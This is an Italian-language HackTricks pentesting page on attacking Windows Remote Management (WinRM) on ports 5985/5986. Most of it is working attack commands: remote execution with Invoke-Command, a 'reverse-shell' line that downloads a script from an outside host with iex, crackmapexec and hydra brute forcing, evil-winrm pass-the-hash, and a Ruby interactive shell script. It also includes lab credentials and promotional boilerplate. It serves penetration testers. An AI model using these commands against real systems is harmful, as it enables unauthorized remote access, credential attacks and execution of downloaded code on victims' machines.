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# 5985,5986 - Pentesting WinRM
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{% hint style="success" %}
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< details >
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< / details >
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{% endhint %}
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## WinRM
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[Windows Remote Management (WinRM) ](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\ ).aspx) è evidenziato come un **protocollo di Microsoft** che consente la **gestione remota dei sistemi Windows** tramite HTTP(S), sfruttando SOAP nel processo. È fondamentalmente alimentato da WMI, presentandosi come un'interfaccia basata su HTTP per le operazioni WMI.
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La presenza di WinRM su una macchina consente un'amministrazione remota semplice tramite PowerShell, simile a come funziona SSH per altri sistemi operativi. Per determinare se WinRM è operativo, è consigliato controllare l'apertura di porte specifiche:
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* **5985/tcp (HTTP)**
* **5986/tcp (HTTPS)**
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Una porta aperta dall'elenco sopra indica che WinRM è stato configurato, consentendo tentativi di avviare una sessione remota.
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### **Iniziare una sessione WinRM**
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Per configurare PowerShell per WinRM, il cmdlet `Enable-PSRemoting` di Microsoft entra in gioco, impostando il computer per accettare comandi PowerShell remoti. Con accesso elevato a PowerShell, possono essere eseguiti i seguenti comandi per abilitare questa funzionalità e designare qualsiasi host come attendibile:
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```powershell
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Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
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```
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Questo approccio prevede l'aggiunta di un carattere jolly alla configurazione `trustedhosts` , un passaggio che richiede un'attenta considerazione a causa delle sue implicazioni. Si nota anche che potrebbe essere necessario modificare il tipo di rete da "Pubblica" a "Lavoro" sulla macchina dell'attaccante.
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Inoltre, WinRM può essere **attivato remotamente** utilizzando il comando `wmic` , come dimostrato di seguito:
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```powershell
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wmic /node:< REMOTE_HOST > process call create "powershell enable-psremoting -force"
```
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Questo metodo consente la configurazione remota di WinRM, migliorando la flessibilità nella gestione delle macchine Windows da lontano.
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### Testare se configurato
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Per verificare la configurazione della tua macchina di attacco, il comando `Test-WSMan` viene utilizzato per controllare se il target ha WinRM configurato correttamente. Eseguendo questo comando, dovresti aspettarti di ricevere dettagli riguardanti la versione del protocollo e wsmid, indicando una configurazione riuscita. Di seguito sono riportati esempi che dimostrano l'output atteso per un target configurato rispetto a uno non configurato:
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* Per un target che **è** configurato correttamente, l'output apparirà simile a questo:
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```bash
Test-WSMan < target-ip >
```
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La risposta dovrebbe contenere informazioni sulla versione del protocollo e wsmid, a significare che WinRM è configurato correttamente.
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![](< .. / . gitbook / assets / image ( 582 ) . png > )
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* Al contrario, per un obiettivo **non** configurato per WinRM, ciò risulterebbe in nessuna informazione dettagliata, evidenziando l'assenza di una corretta configurazione di WinRM.
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![](< .. / . gitbook / assets / image ( 458 ) . png > )
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### Eseguire un comando
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Per eseguire `ipconfig` da remoto su una macchina target e visualizzarne l'output, fare:
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```powershell
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Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```
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![](< .. / . gitbook / assets / image ( 151 ) . png > )
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Puoi anche **eseguire un comando della tua attuale console PS tramite** _**Invoke-Command**_ . Supponiamo che tu abbia localmente una funzione chiamata _**enumeration**_ e desideri **eseguirla su un computer remoto** , puoi fare:
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```powershell
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Invoke-Command -ComputerName < computername > -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
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```
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### Eseguire uno Script
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```powershell
Invoke-Command -ComputerName < computername > -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```
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### Ottieni reverse-shell
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```powershell
Invoke-Command -ComputerName < computername > -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
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### Ottieni una sessione PS
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Per ottenere una shell interattiva di PowerShell usa `Enter-PSSession` :
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```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
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Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
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## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
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# Save session in var
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$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
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```
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![](< .. / . gitbook / assets / image ( 1009 ) . png > )
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**La sessione verrà eseguita in un nuovo processo (wsmprovhost) all'interno della "vittima"**
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### **Forzare l'apertura di WinRM**
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Per utilizzare PS Remoting e WinRM ma il computer non è configurato, puoi abilitarlo con:
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```powershell
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
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```
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### Salvataggio e ripristino delle sessioni
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Questo **non funzionerà** se la **lingua** è **vincolata** nel computer remoto.
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```powershell
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#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
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#You can save a session inside a variable
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$sess1 = New-PSSession -ComputerName < computername > [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
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#And restore it at any moment doing
Enter-PSSession -Session $sess1
```
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Dentro di queste sessioni puoi caricare script PS utilizzando _Invoke-Command_
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```powershell
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Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
```
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### Errori
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Se trovi il seguente errore:
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`enter-pssession : Impossibile connettersi al server remoto 10.10.10.175 con il seguente messaggio di errore : Il client WinRM non può elaborare la richiesta. Se lo schema di autenticazione è diverso da Kerberos, o se il computer client non è unito a un dominio, allora deve essere utilizzato il trasporto HTTPS o la macchina di destinazione deve essere aggiunta all'impostazione di configurazione TrustedHosts. Usa winrm.cmd per configurare TrustedHosts. Tieni presente che i computer nell'elenco TrustedHosts potrebbero non essere autenticati. Puoi ottenere ulteriori informazioni eseguendo il seguente comando: winrm help config. Per ulteriori informazioni, vedere l'argomento di aiuto about_Remote_Troubleshooting.`
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Il tentativo sul client (info da [qui ](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server )):
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```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
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< figure > < img src = "../.gitbook/assets/image (380).png" alt = "" > < figcaption > < / figcaption > < / figure >
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Unisciti al server [**HackenProof Discord** ](https://discord.com/invite/N3FrSbmwdy ) per comunicare con hacker esperti e cacciatori di bug bounty!
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**Latest Announcements**\
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## Connessione WinRM in linux
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### Brute Force
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Fai attenzione, il brute-forcing di winrm potrebbe bloccare gli utenti.
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```ruby
#Brute force
crackmapexec winrm < IP > -d < Domain Name > -u usernames.txt -p passwords.txt
#Just check a pair of credentials
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# Username + Password + CMD command execution
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crackmapexec winrm < IP > -d < Domain Name > -u < username > -p < password > -x "whoami"
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# Username + Hash + PS command execution
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crackmapexec winrm < IP > -d < Domain Name > -u < username > -H < HASH > -X '$PSVersionTable'
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#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
```
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### Utilizzando evil-winrm
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```ruby
gem install evil-winrm
```
Leggi la **documentazione** sul suo github: [https://github.com/Hackplayers/evil-winrm ](https://github.com/Hackplayers/evil-winrm )
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```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i < IP > /< Domain >
```
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Per utilizzare evil-winrm per connettersi a un **indirizzo IPv6** , crea un'entrata all'interno di _**/etc/hosts**_ impostando un **nome di dominio** all'indirizzo IPv6 e connettiti a quel dominio.
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### Pass the hash with evil-winrm
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```ruby
evil-winrm -u < username > -H < Hash > -i < IP >
```
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![](< .. / . gitbook / assets / image ( 680 ) . png > )
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### Utilizzando una macchina PS-docker
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```
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docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
```
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### Utilizzando uno script ruby
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**Codice estratto da qui:** [**https://alamot.github.io/winrm\_shell/** ](https://alamot.github.io/winrm\_shell/ )
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```ruby
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
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# https://alamot.github.io/winrm_shell/
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conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
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)
class String
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def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
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end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
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until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK` n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
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end
```
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## Shodan
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* `port:5985 Microsoft-HTTPAPI`
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## Riferimenti
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* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/ ](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/ )
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## Comandi Automatici HackTricks
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```
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Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
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Entry_1:
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Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
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sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘ MySuperSecr3tPass123!’
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https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
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ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
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#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
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https://book.hacktricks.xyz/pentesting/pentesting-winrm
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Entry_2:
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Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
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```
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< figure > < img src = "../.gitbook/assets/image (380).png" alt = "" > < figcaption > < / figcaption > < / figure >
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Unisciti al server [**HackenProof Discord** ](https://discord.com/invite/N3FrSbmwdy ) per comunicare con hacker esperti e cacciatori di bug bounty!
2023-02-27 09:28:45 +00:00
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**Approfondimenti sul hacking**\
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Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking
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**Notizie di hacking in tempo reale**\
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
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**Ultimi annunci**\
Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme
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**Unisciti a noi su** [**Discord** ](https://discord.com/invite/N3FrSbmwdy ) e inizia a collaborare con i migliori hacker oggi stesso!
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{% hint style="success" %}
Impara e pratica AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Impara e pratica GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
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< details >
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< summary > Supporta HackTricks< / summary >
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* Controlla i [**piani di abbonamento** ](https://github.com/sponsors/carlospolop )!
* **Unisciti al** 💬 [**gruppo Discord** ](https://discord.gg/hRep4RUj7f ) o al [**gruppo telegram** ](https://t.me/peass ) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) e [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) repos su github.
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< / details >
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{% endhint %}